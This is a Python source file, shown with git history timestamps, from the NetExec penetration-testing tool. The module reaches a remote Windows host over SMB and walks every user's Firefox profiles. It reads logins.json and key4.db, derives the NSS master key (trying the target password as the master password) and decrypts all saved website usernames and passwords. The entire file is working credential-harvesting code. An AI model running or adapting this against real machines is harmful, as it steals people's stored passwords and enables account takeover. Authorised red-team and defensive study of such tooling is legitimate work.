NetExec/nxc/protocols/smb/firefox.py

246 lines
9.7 KiB
Python
Raw Normal View History

2023-02-13 10:48:12 +00:00
#!/usr/bin/env python3
from base64 import b64decode
from binascii import unhexlify
from hashlib import pbkdf2_hmac, sha1
import hmac
import json
import ntpath
import sqlite3
import tempfile
2023-05-02 15:17:59 +00:00
from Cryptodome.Cipher import AES, DES3
2023-02-13 10:48:12 +00:00
from pyasn1.codec.der import decoder
from dploot.lib.smb import DPLootSMBConnection
2023-05-02 15:17:59 +00:00
CKA_ID = unhexlify("f8000000000000000000000000000001")
2023-02-13 10:48:12 +00:00
class FirefoxData:
2023-05-02 15:17:59 +00:00
def __init__(self, winuser: str, url: str, username: str, password: str):
2023-02-13 10:48:12 +00:00
self.winuser = winuser
self.url = url
self.username = username
self.password = password
2023-05-02 15:17:59 +00:00
2023-02-13 10:48:12 +00:00
class FirefoxTriage:
"""
2023-05-02 15:17:59 +00:00
Firefox by @zblurx
Inspired by firefox looting from DonPAPI
https://github.com/login-securite/DonPAPI
"""
2023-02-13 10:48:12 +00:00
2023-05-02 15:17:59 +00:00
firefox_generic_path = "Users\\{}\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles"
share = "C$"
false_positive = (
2023-05-02 15:17:59 +00:00
".",
"..",
"desktop.ini",
"Public",
"Default",
"Default User",
"All Users",
)
2023-05-02 15:17:59 +00:00
def __init__(self, target, logger, conn: DPLootSMBConnection = None):
2023-02-13 10:48:12 +00:00
self.target = target
self.logger = logger
self.conn = conn
2023-05-02 15:17:59 +00:00
def upgrade_connection(self, connection=None):
2023-02-13 10:48:12 +00:00
self.conn = DPLootSMBConnection(self.target)
if connection is not None:
self.conn.smb_session = connection
else:
self.conn.connect()
def run(self):
if self.conn is None:
self.upgrade_connection()
firefox_data = []
# list users
users = self.get_users()
for user in users:
try:
2023-05-08 18:39:36 +00:00
directories = self.conn.remote_list_dir(share=self.share, path=self.firefox_generic_path.format(user))
2023-02-13 10:48:12 +00:00
except Exception as e:
2023-05-02 15:17:59 +00:00
if "STATUS_OBJECT_PATH_NOT_FOUND" in str(e):
2023-02-13 10:48:12 +00:00
continue
self.logger.debug(e)
if directories is None:
continue
2023-05-08 18:39:36 +00:00
for d in [d for d in directories if d.get_longname() not in self.false_positive and d.is_directory() > 0]:
2023-02-13 10:48:12 +00:00
try:
2023-05-08 18:39:36 +00:00
logins_path = self.firefox_generic_path.format(user) + "\\" + d.get_longname() + "\\logins.json"
2023-02-13 10:48:12 +00:00
logins_data = self.conn.readFile(self.share, logins_path)
if logins_data is None:
2023-05-02 15:17:59 +00:00
continue # No logins.json file found
2023-02-13 10:48:12 +00:00
logins = self.get_login_data(logins_data=logins_data)
if len(logins) == 0:
2023-05-02 15:17:59 +00:00
continue # No logins profile found
2023-05-08 18:39:36 +00:00
key4_path = self.firefox_generic_path.format(user) + "\\" + d.get_longname() + "\\key4.db"
key4_data = self.conn.readFile(self.share, key4_path, bypass_shared_violation=True)
2023-02-13 10:48:12 +00:00
if key4_data is None:
continue
key = self.get_key(key4_data=key4_data)
2023-05-02 15:17:59 +00:00
if key is None and self.target.password != "":
key = self.get_key(
key4_data=key4_data,
master_password=self.target.password.encode(),
)
2023-02-13 10:48:12 +00:00
if key is None:
continue
for username, pwd, host in logins:
2023-05-08 18:39:36 +00:00
decoded_username = self.decrypt(key=key, iv=username[1], ciphertext=username[2]).decode("utf-8")
password = self.decrypt(key=key, iv=pwd[1], ciphertext=pwd[2]).decode("utf-8")
2023-02-13 10:48:12 +00:00
if password is not None and decoded_username is not None:
2023-05-02 15:17:59 +00:00
firefox_data.append(
FirefoxData(
winuser=user,
url=host,
username=decoded_username,
password=password,
)
)
2023-02-13 10:48:12 +00:00
except Exception as e:
2023-05-02 15:17:59 +00:00
if "STATUS_OBJECT_PATH_NOT_FOUND" in str(e):
2023-02-13 10:48:12 +00:00
continue
self.logger.exception(e)
2023-02-13 10:48:12 +00:00
return firefox_data
def get_login_data(self, logins_data):
json_logins = json.loads(logins_data)
2023-05-02 15:17:59 +00:00
if "logins" not in json_logins:
return [] # No logins key in logins.json file
return [
2023-05-04 13:22:31 +00:00
(
self.decode_login_data(row["encryptedUsername"]),
self.decode_login_data(row["encryptedPassword"]),
row["hostname"],
)
for row in json_logins["logins"]
]
2023-02-13 10:48:12 +00:00
2023-05-02 15:17:59 +00:00
def get_key(self, key4_data, master_password=b""):
2023-02-13 10:48:12 +00:00
fh = tempfile.NamedTemporaryFile()
fh.write(key4_data)
fh.seek(0)
db = sqlite3.connect(fh.name)
cursor = db.cursor()
cursor.execute("SELECT item1,item2 FROM metadata WHERE id = 'password';")
row = next(cursor)
2023-05-02 15:17:59 +00:00
2023-02-13 10:48:12 +00:00
if row:
2023-05-08 18:39:36 +00:00
global_salt, master_password, _ = self.is_master_password_correct(key_data=row, master_password=master_password)
2023-02-13 10:48:12 +00:00
if global_salt:
try:
cursor.execute("SELECT a11,a102 FROM nssPrivate;")
for row in cursor:
if row[0]:
break
a11 = row[0]
a102 = row[1]
if a102 == CKA_ID:
decoded_a11 = decoder.decode(a11)
2023-05-08 18:39:36 +00:00
key = self.decrypt_3des(decoded_a11, master_password, global_salt)
2023-02-13 10:48:12 +00:00
if key is not None:
fh.close()
return key[:24]
except Exception as e:
self.logger.debug(e)
fh.close()
2023-05-02 15:17:59 +00:00
return b""
2023-02-13 10:48:12 +00:00
fh.close()
return None
2023-02-13 10:48:12 +00:00
2023-05-02 15:17:59 +00:00
def is_master_password_correct(self, key_data, master_password=b""):
2023-02-13 10:48:12 +00:00
try:
entry_salt = b""
global_salt = key_data[0] # Item1
item2 = key_data[1]
decoded_item2 = decoder.decode(item2)
2023-05-08 18:39:36 +00:00
cleartext_data = self.decrypt_3des(decoded_item2, master_password, global_salt)
2023-10-12 21:06:04 +00:00
if cleartext_data != b"password-check\x02\x02":
2023-05-02 15:17:59 +00:00
return "", "", ""
2023-02-13 10:48:12 +00:00
return global_salt, master_password, entry_salt
except Exception as e:
self.logger.debug(e)
2023-05-02 15:17:59 +00:00
return "", "", ""
2023-02-13 10:48:12 +00:00
def get_users(self):
users = []
2023-02-13 10:48:12 +00:00
2023-05-02 15:17:59 +00:00
users_dir_path = "Users\\*"
2023-05-08 18:39:36 +00:00
directories = self.conn.listPath(shareName=self.share, path=ntpath.normpath(users_dir_path))
2023-02-13 10:48:12 +00:00
for d in directories:
if d.get_longname() not in self.false_positive and d.is_directory() > 0:
users.append(d.get_longname()) # noqa: PERF401, ignoring for readability
2023-02-13 10:48:12 +00:00
return users
@staticmethod
def decode_login_data(data):
asn1data = decoder.decode(b64decode(data))
2023-05-02 15:17:59 +00:00
return (
asn1data[0][0].asOctets(),
asn1data[0][1][1].asOctets(),
asn1data[0][2].asOctets(),
)
2023-02-13 10:48:12 +00:00
@staticmethod
def decrypt(key, iv, ciphertext):
2023-10-12 19:13:16 +00:00
"""Decrypt ciphered data (user / password) using the key previously found"""
2023-02-14 09:00:12 +00:00
cipher = DES3.new(key=key, mode=DES3.MODE_CBC, iv=iv)
data = cipher.decrypt(ciphertext)
2023-02-13 10:48:12 +00:00
nb = data[-1]
try:
return data[:-nb]
except Exception:
return data
@staticmethod
def decrypt_3des(decoded_item, master_password, global_salt):
2023-10-12 19:13:16 +00:00
"""User master key is also encrypted (if provided, the master_password could be used to encrypt it)"""
2023-02-13 10:48:12 +00:00
# See http://www.drh-consultancy.demon.co.uk/key3.html
pbeAlgo = str(decoded_item[0][0][0])
2023-05-02 15:17:59 +00:00
if pbeAlgo == "1.2.840.113549.1.12.5.1.3": # pbeWithSha1AndTripleDES-CBC
2023-02-13 10:48:12 +00:00
entry_salt = decoded_item[0][0][1][0].asOctets()
cipher_t = decoded_item[0][1].asOctets()
# See http://www.drh-consultancy.demon.co.uk/key3.html
hp = sha1(global_salt + master_password).digest()
2023-10-12 21:06:04 +00:00
pes = entry_salt + b"\x00" * (20 - len(entry_salt))
2023-02-13 10:48:12 +00:00
chp = sha1(hp + entry_salt).digest()
k1 = hmac.new(chp, pes + entry_salt, sha1).digest()
tk = hmac.new(chp, pes, sha1).digest()
k2 = hmac.new(chp, tk + entry_salt, sha1).digest()
k = k1 + k2
iv = k[-8:]
key = k[:24]
2023-02-14 09:00:12 +00:00
cipher = DES3.new(key=key, mode=DES3.MODE_CBC, iv=iv)
return cipher.decrypt(cipher_t)
2023-05-02 15:17:59 +00:00
elif pbeAlgo == "1.2.840.113549.1.5.13": # pkcs5 pbes2
assert str(decoded_item[0][0][1][0][0]) == "1.2.840.113549.1.5.12"
assert str(decoded_item[0][0][1][0][1][3][0]) == "1.2.840.113549.2.9"
assert str(decoded_item[0][0][1][1][0]) == "2.16.840.1.101.3.4.1.42"
2023-02-13 10:48:12 +00:00
# https://tools.ietf.org/html/rfc8018#page-23
entry_salt = decoded_item[0][0][1][0][1][0].asOctets()
iteration_count = int(decoded_item[0][0][1][0][1][1])
key_length = int(decoded_item[0][0][1][0][1][2])
2023-05-02 15:17:59 +00:00
assert key_length == 32
2023-02-13 10:48:12 +00:00
k = sha1(global_salt + master_password).digest()
2023-05-08 18:39:36 +00:00
key = pbkdf2_hmac("sha256", k, entry_salt, iteration_count, dklen=key_length)
2023-02-13 10:48:12 +00:00
# https://hg.mozilla.org/projects/nss/rev/fc636973ad06392d11597620b602779b4af312f6#l6.49
2023-05-02 15:17:59 +00:00
iv = b"\x04\x0e" + decoded_item[0][0][1][1][1].asOctets()
2023-02-13 10:48:12 +00:00
# 04 is OCTETSTRING, 0x0e is length == 14
encrypted_value = decoded_item[0][1].asOctets()
cipher = AES.new(key, AES.MODE_CBC, iv)
decrypted = cipher.decrypt(encrypted_value)
if decrypted is not None:
2023-02-13 10:48:12 +00:00
return decrypted
else:
2023-05-02 15:17:59 +00:00
return None
return None